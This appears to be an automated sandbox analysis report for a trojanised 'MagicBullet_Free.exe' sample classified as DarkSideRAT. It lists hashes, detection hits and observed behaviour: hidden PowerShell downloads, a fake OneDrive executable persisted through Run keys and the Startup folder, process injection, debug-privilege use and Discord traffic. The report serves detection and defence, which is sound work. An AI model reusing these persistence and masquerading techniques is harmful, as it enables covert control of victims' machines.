darksiderat | 58f8066ba5d1144d676b081768f4fb48ab2d96edff963b4c9109fba8d9627a1f

Analysis

user interaction
yes
max time kernel
150s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 12:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MagicBullet_Free.exe
Size 14.2MB
Sample260807-pswcssfh53
SHA256 58f8066ba5d1144d676b081768f4fb48ab2d96edff963b4c9109fba8d9627a1f
MD5 42e9e813bace92ef98c3dca73a218cb0
SHA1 82eb9e84138a5e5661483d5289068f093af9e105
SHA512 32d4b24cb34df18378285ea7a2aee78a2c5fa59bff64ed875e4f478216ed8f6412ab6f4d52b650479130c1a600f8dd59abd2eac28536469a4029c6736c3274d2
SSDEEP 393216:R0nnRoUDervqgqyP4EVdUDi/FfuBedAscAnCVTZuokV:2nnynqAJ6i/LcA0+V
TLSH
T1DFE623E6B4C572F4C9D34980634A53CE71E1A12B4AAFB82937CB2C426931D5B4B4DE37
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution darksiderat persistence privilege_escalation trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 7 IoCs

resource	yara_rule
behavioral2/memory/1668-28-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/3596-30-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/1668-22-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/files/0x001200000001c5bc-57.dat	family_darksiderat
behavioral2/memory/3336-86-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/2240-85-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/files/0x000e00000001c75a-1125.dat	family_darksiderat

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5532	powershell.exe
4	2660	powershell.exe
7	2252	powershell.exe
8	1500	powershell.exe
12	2660	powershell.exe
13	1500	powershell.exe
47	5508	powershell.exe
48	2696	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2660	powershell.exe
5532	powershell.exe
2252	powershell.exe
1500	powershell.exe
5508	powershell.exe
2696	powershell.exe

Downloads MZ/PE file 5 IoCs

flow	pid	Process
3	5532	powershell.exe
7	2252	powershell.exe
14	2832	MicrosoftOneDrive.exe
47	5508	powershell.exe
48	2696	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft OneDrive.lnk	MagicBullet_Free.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft OneDrive.lnk	MagicBullet_Free.exe

Executes dropped EXE 14 IoCs

pid	Process
5296	MicrosoftOneDrive.exe
1668	MicrosoftOneDrive.exe
1164	MicrosoftOneDrive.exe
3596	MicrosoftOneDrive.exe
3552	BK360584.exe
1060	BK685075.exe
2832	MicrosoftOneDrive.exe
2240	MicrosoftOneDrive.exe
3336	MicrosoftOneDrive.exe
1880	MicrosoftOneDrive.exe
1888	BK360584.exe
6088	BK685075.exe
5864	ox_1786106207324.exe
2956	BK360584.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftOneDrive = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftOneDrive.exe\""	MagicBullet_Free.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftOneDrive = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftOneDrive.exe\""	MagicBullet_Free.exe

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
36	discord.com
37	discord.com
42	discord.com
54	discord.com
61	discord.com
90	discord.com

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	BK360584.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\595CD0DCED5F6DE43A9C77C525C44511	BK360584.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	MicrosoftOneDrive.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	BK360584.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	BK360584.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\595CD0DCED5F6DE43A9C77C525C44511	BK360584.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	BK360584.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 5296 set thread context of 1668	5296	MicrosoftOneDrive.exe	100
PID 5296 set thread context of 1164	5296	MicrosoftOneDrive.exe	101
PID 5296 set thread context of 3596	5296	MicrosoftOneDrive.exe	102
PID 2832 set thread context of 2240	2832	MicrosoftOneDrive.exe	120
PID 2832 set thread context of 1880	2832	MicrosoftOneDrive.exe	121
PID 2832 set thread context of 3336	2832	MicrosoftOneDrive.exe	122

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6280_1511980785\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_uzz2bwkg.ons.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_kx0qu11a.o2t.ps1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_v12gtcgi.54x.psm1	powershell.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_4364_1712714313\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_108_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6280_2053577743\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4364_59576971\_locales\et\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5104	cmd.exe
3368	cmd.exe
1972	cmd.exe
4592	cmd.exe
5132	cmd.exe
1216	cmd.exe
5288	cmd.exe
6004	cmd.exe
364	cmd.exe
4968	cmd.exe
3212	cmd.exe
2480	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4528	msedge.exe
6656	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	BK360584.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MicrosoftOneDrive.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MicrosoftOneDrive.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134305798183178748"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	BK360584.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftOneDrive.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	MicrosoftOneDrive.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2301830172-776172150-2531349243-1000\{764B963C-F37A-4313-9502-982CAF2CC588}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2301830172-776172150-2531349243-1000\{858E711B-2F78-4829-BA81-4ACAF5941B82}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2301830172-776172150-2531349243-1000\{16ECD375-8E8B-4A71-8E24-44B1D20461DA}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
2660	powershell.exe
5532	powershell.exe
5532	powershell.exe
5532	powershell.exe
2660	powershell.exe
2660	powershell.exe
2252	powershell.exe
2252	powershell.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
1500	powershell.exe
1500	powershell.exe
2252	powershell.exe
1500	powershell.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe
4896	MagicBullet_Free.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4364	msedge.exe
4364	msedge.exe
4364	msedge.exe
4364	msedge.exe
4364	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	5532	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	5508	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4364	msedge.exe
4364	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 5104	4896	MagicBullet_Free.exe	90
PID 5104 wrote to memory of 3368	5104	cmd.exe	91
PID 4896 wrote to memory of 1972	4896	MagicBullet_Free.exe	93
PID 1972 wrote to memory of 4592	1972	cmd.exe	94
PID 3368 wrote to memory of 2660	3368	cmd.exe	96
PID 4592 wrote to memory of 5532	4592	cmd.exe	97
PID 5296 wrote to memory of 5288	5296	MicrosoftOneDrive.exe	99
PID 5296 wrote to memory of 1668	5296	MicrosoftOneDrive.exe	100
PID 5296 wrote to memory of 1668	5296	MicrosoftOneDrive.exe	100
PID 5296 wrote to memory of 1668	5296	MicrosoftOneDrive.exe	100
PID 5296 wrote to memory of 1668	5296	MicrosoftOneDrive.exe	100
PID 5296 wrote to memory of 1668	5296	MicrosoftOneDrive.exe	100
PID 5296 wrote to memory of 1668	5296	MicrosoftOneDrive.exe	100
PID 5296 wrote to memory of 1668	5296	MicrosoftOneDrive.exe	100
PID 5296 wrote to memory of 1164	5296	MicrosoftOneDrive.exe	101
PID 5296 wrote to memory of 1164	5296	MicrosoftOneDrive.exe	101
PID 5296 wrote to memory of 1164	5296	MicrosoftOneDrive.exe	101
PID 5296 wrote to memory of 1164	5296	MicrosoftOneDrive.exe	101
PID 5296 wrote to memory of 1164	5296	MicrosoftOneDrive.exe	101
PID 5296 wrote to memory of 1164	5296	MicrosoftOneDrive.exe	101
PID 5296 wrote to memory of 1164	5296	MicrosoftOneDrive.exe	101
PID 5296 wrote to memory of 3596	5296	MicrosoftOneDrive.exe	102
PID 5296 wrote to memory of 3596	5296	MicrosoftOneDrive.exe	102
PID 5296 wrote to memory of 3596	5296	MicrosoftOneDrive.exe	102
PID 5296 wrote to memory of 3596	5296	MicrosoftOneDrive.exe	102
PID 5296 wrote to memory of 3596	5296	MicrosoftOneDrive.exe	102
PID 5296 wrote to memory of 3596	5296	MicrosoftOneDrive.exe	102
PID 5296 wrote to memory of 3596	5296	MicrosoftOneDrive.exe	102
PID 5288 wrote to memory of 6004	5288	cmd.exe	104
PID 5296 wrote to memory of 364	5296	MicrosoftOneDrive.exe	106
PID 6004 wrote to memory of 2252	6004	cmd.exe	108
PID 364 wrote to memory of 5132	364	cmd.exe	109
